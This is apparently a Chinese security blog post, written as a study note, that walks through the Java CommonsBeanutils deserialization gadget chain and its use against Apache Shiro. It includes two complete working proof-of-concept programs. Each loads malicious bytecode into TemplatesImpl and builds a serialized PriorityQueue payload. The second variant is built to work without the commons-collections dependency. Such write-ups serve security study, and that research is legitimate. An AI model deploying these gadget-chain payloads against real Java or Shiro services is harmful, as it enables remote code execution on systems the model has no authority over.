CommonsBeanutils反序列化


本来是在学shiro 的,发现shiro无依赖反序列化需要用CB链,所以就先学一下CB链

前置知识

commons-beanutils 是 Apache 提供的一个用于操作 JAVA bean 的工具包。里面提供了各种各样的工具类,让我们可以很方便的对 bean 对象的属性进行各种操作。

依赖

<dependency>
     <groupId>commons-beanutils</groupId>
     artifactId>commons-beanutils</artifactId>
            <version>1.9.2</version>
</dependency>

PropertyUtils

org.apache.commons.beanutils.PropertyUtils 类使用 Java 反射 API 来调用 Java 对象上的通用属性 getter 和 setter 操作的实用方法。这些方法的具体使用逻辑其实是由 org.apache.commons.beanutils.PropertyUtilsBean 来实现的。

这个类有个共有静态方法 getProperty() ,接收两个参数 bean (类对象)和 name(属性名),方法会返回这个类的这个属性的值。其实就是用反射的方式调用这个JavaBean里的get方法

//test.java
package org.cb1;
import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.InvocationTargetException;

public class test {
    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
        Object a = PropertyUtils.getProperty(new javabean(), "a");
        System.out.println(a);

    }
}

//JavaBean
package org.cb1;

public class javabean {
    private int a = 22222;
    private String b = "aaa";

    public int getA() {
        return a;
    }

    public void setA(int a) {
        this.a = a;
    }

    public String getB() {
        return b;
    }

    public void setB(String b) {
        this.b = b;
    }
}

BeanComparator

BeanComparator 是 commons-beanutils 提供的用来比较两个 JavaBean 是否相等的类,其实现了java.util.Comparator 接口。

BeanComparator 在初始化时可以指定 property 属性名称和 comparator 对比器,如果不指定,则默认是 ComparableComparator 。

BeanComparator 的 compare 方法接收两个对象,分别调用 PropertyUtils.getProperty() 方法获取两个对象的 property 属性的值,然后调用 internalCompare() 方法调用实例化时初始化的 comparator 的 compare 方法进行比较。

image-20230428215653493

下个断点调试一下可以看见它最终还是调用了JavaBean里的getxx方法

image-20230428215817191

调用链(有CC依赖

TemplatesImpl类

CB链的反序列化链借助了CC3里提到的TemplatesImpl,通过动态类加载机制来执行恶意代码

回忆一下CC3的TemplatesImpl部分

从newTransformer方法

image-20230428221135879

进入getTransletInstance

getTransletInstance还会有实例化的过程

image-20230428221154421

然后再进入defineTransletClasses方法

在defineTransletClasses里调用了defineClass,实现加载类字节码并且实例化的目的

image-20230428222208457

这就是CC3的利用

接下来让我们看看CB链里的利用

CB包里的调用

之前我们说过,PropertyUtils类的getProperty方法会调用JavaBean里的get方式,去读取相应的属性值

传参方式是PropertyUtils.getProperty(Object bean,String name);

但是在调用的时候,并不会去判断我们传入的这个name属性是否存在,也就导致,我们可以利用这个方法去调用任意的以get开头的公共方法

巧的是TemplateImpl类里正好有一个这样的类,公共的、以get开头,而且还调用了newTransformer(),(巧了这不是

image-20230430152923679

所以通过这个可以直接进CC3的链

image-20230430153325553

然后要去找哪里调用了getProperty方法

这里是BeanComparator里的compare方法

image-20230430153718143

很简单的逻辑,property可以在初始化的时候赋值

image-20230430153804089

反序列化的实现

这里又要涉及CC2的内容了

在CC2里,我们为了调用TransformingComparator的transform方法,从而调用TransformingComparator.transform方法找到了一条

在PriorityQueue类的siftDownUsingComparator方法调用compare的路线

虽然siftDownUsingComparator是私有的,但是在PriorityQueue类的readObject方法里调了heapify方法,heapify方法又调了siftDown,然后在siftDown里实现了对siftDownUsingComparator的调用

这条链在CB链里同样适用

唯一的问题就是在queue的赋值上

在CC2的时候,由于我们通过compare调用的是chainedTransformer,所以无论它的transform方法的参数输出的是什么,得到的都是我们设置的固定值,因此即使compare的两个参数都是空,也不会影响结果

而在CB链里,我们需要对compare的参数赋值,

image-20230430165153419

从这里看出来o1和o2的值分别为x和c,

image-20230430165530043

往前翻就能发现x的值就是heapify调siftDown的时候传的第二个参数

image-20230430165706622

而c是在siftDownUsingComparator运算得到的

image-20230430165810775

但其实根本上都是queue这个数组里边的内容

由于我们通过反射固定了size的值为2,所以这时候queue[i]其实就是queue[0]

queue[child]就是queue[1]

所以用反射赋值就行了

Field queue = objects.getClass().getDeclaredField("queue");
queue.setAccessible(true);
queue.set(objects,new Object[]{templates,1});

另外,这里也有另一种赋值方式

Field field = PriorityQueue.class.getDeclaredField("queue");
field.setAccessible(true);
Object[] objects = (Object[]) field.get(queue);
objects[0] = tmpl;
//数组类型的值,通过反射的get方式得到的是一个引用类型的值,因此修改这个引用类型的值,也就相当于直接修改这个数组变量的值

这里只让一个值为TemplatesImpl对象实例的原因一是执行命令执行一次就够了,不过更主要的就是执行完命令后compare会抛出异常被catch捕捉,也执行不了第二个命令了。

image-20230430170306273

问:既然只执行一次命令,那queue这个对象数组只赋值一个行不行

答:不行,因为假设queue这个只有一个值,那么在序列化的时候就会抛出数组越界的异常

image-20230430170537544

poc为

public class test {
    public static <T> void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, TransformerConfigurationException, NoSuchFieldException, IOException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        Field name = templates.getClass().getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"123");
        // _class赋值为null
        Field classField = templates.getClass().getDeclaredField("_class");
        classField.setAccessible(true);
        classField.set(templates,null);
        //加载恶意类的字节码
        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://ctftools/ctfscript/javastudy/CC/src/main/java/org/cc3/cmd.class"));
        //转为二维数组
        byte[][] codes = {code};
        bytecodes.set(templates,codes);
        //_tfactory赋值
        Field tfactory = templates.getClass().getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

//        Object transletInstance = PropertyUtils.getProperty(templates, "outputProperties");
        BeanComparator<Object> objectBeanComparator = new BeanComparator<>("outputProperties");
        PriorityQueue<Object> objects = new PriorityQueue<>(objectBeanComparator);
        Field size = objects.getClass().getDeclaredField("size");
        size.setAccessible(true);
        size.set(objects,2);
        Field queue = objects.getClass().getDeclaredField("queue");
        queue.setAccessible(true);
        queue.set(objects,new Object[]{templates,1});
        file.serialize(objects,"1.bin");
        file.unserialize("1.bin");

    }
}

总结

调用链

PriorityQueue.readObject()
    BeanComparator.compare()
            PropertyUtils.getProperty()
                PropertyUtilsBean.getProperty()
                    TemplatesImpl.getOutputProperties()

依赖环境

cc 3.21 ~ 4.4
cb 1.90 ~ 1.94
其他版本没试

调用链(无依赖

前言

刚才的调用链,虽然很完美,但实际上还是依赖了CC链

image-20230430174452638

这里就算把maven项目里的cc依赖去掉也不会报错的原因是因为cb本身就依赖着cc

image-20230430174544111

但是在最开始的时候,我就提过本来是在学shiro 的,发现shiro无依赖反序列化需要用CB链,所以就先学一下CB链

因为shiro本身需要添加的依赖有

  1. shiro-core、shiro-web,这是shiro本身的依赖
  2. javax.servlet-api、jsp-api,这是JSP和Servlet的依赖,仅在编译阶段使用,因为Tomcat中自带这两个依赖
  3. slf4j-api、slf4j-simple,这是为了显示shiro中的报错信息添加的依赖
  4. commons-logging,这是shiro中用到的一个接口,不添加会爆java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory错误

可以看到并没有CC依赖,所以,我们在进行shiro反序列化的时候就需要考虑不存在CC依赖的情况

这时候可以发现在shiro的依赖中,还带着CB,所以我们就可以尝试用CB链去打shiro反序列化

image-20230430174950619

但实际上,直接打是会报错的。

commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于commons-collections,但反序列化利用的时候需要依赖于commons-collections。

所以我们就需要找一个不需要依赖CC的CB链

完善

我们先来看一下CB链中的哪一部分调用了CC的内容

image-20230430175631340

就是BeanComparator里的这个构造方法,当我们只传入一个property的时候,就会默认调用CC中ComparableComparator类的getInstance方法

所以要实现无依赖,就需要避免使用这个构造方法,但是property是必传的,所以只能用这个构造方法了

image-20230430175830790

我们需要找一个类,满足以下条件

  • 实现java.util.Comparator接口
  • 实现java.io.Serializable接口
  • Java、shiro或commons-beanutils自带,且兼容性强

这里我们找到的是处于java.lang.String类下的一个内部私有类CaseInsensitiveComparator类

image-20230430180042241

所以现在的poc是

public class test {
    public static <T> void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, TransformerConfigurationException, NoSuchFieldException, IOException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        Field name = templates.getClass().getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"123");
        // _class赋值为null
        Field classField = templates.getClass().getDeclaredField("_class");
        classField.setAccessible(true);
        classField.set(templates,null);
        //加载恶意类的字节码
        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://ctftools/ctfscript/javastudy/CC/src/main/java/org/cc3/cmd.class"));
        //转为二维数组
        byte[][] codes = {code};
        bytecodes.set(templates,codes);
        //_tfactory赋值
        Field tfactory = templates.getClass().getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

//        Object transletInstance = PropertyUtils.getProperty(templates, "outputProperties");
        BeanComparator<Object> objectBeanComparator = new BeanComparator<>("outputProperties",String.CASE_INSENSITIVE_ORDER);
        PriorityQueue<Object> objects = new PriorityQueue<>(objectBeanComparator);
        Field size = objects.getClass().getDeclaredField("size");
        size.setAccessible(true);
        size.set(objects,2);
        Field queue = objects.getClass().getDeclaredField("queue");
        queue.setAccessible(true);
        queue.set(objects,new Object[]{templates,1});
        file.serialize(objects,"1.bin");
        file.unserialize("1.bin");

    }
}

image-20230430180306528


文章作者: Ethe
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Ethe !
评论
  目录